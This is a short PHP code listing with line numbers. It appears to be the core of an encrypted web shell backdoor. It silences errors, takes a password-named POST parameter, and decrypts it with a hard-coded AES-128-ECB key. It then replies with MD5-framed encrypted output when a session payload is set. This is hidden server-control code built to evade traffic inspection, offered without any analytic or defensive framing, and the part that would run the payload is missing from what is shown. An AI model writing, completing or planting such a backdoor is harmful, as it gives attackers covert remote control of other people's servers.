1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php @error_reporting(0); session_start(); $pass="pass"; $key="3c6e0b8a9c15224a"; function enc($data,$key){ return openssl_encrypt($data,"AES-128-ECB",$key,OPENSSL_RAW_DATA); } function dec($data,$key){ return openssl_decrypt($data,"AES-128-ECB",$key,OPENSSL_RAW_DATA); } $post=base64_decode($_POST[$pass]); $data=dec($post,$key); if(isset($_SESSION["payload"])){ $resp="ok"; echo substr(md5($pass.$key),0,16); echo base64_encode(enc($resp,$key)); echo substr(md5($pass.$key),16); }
|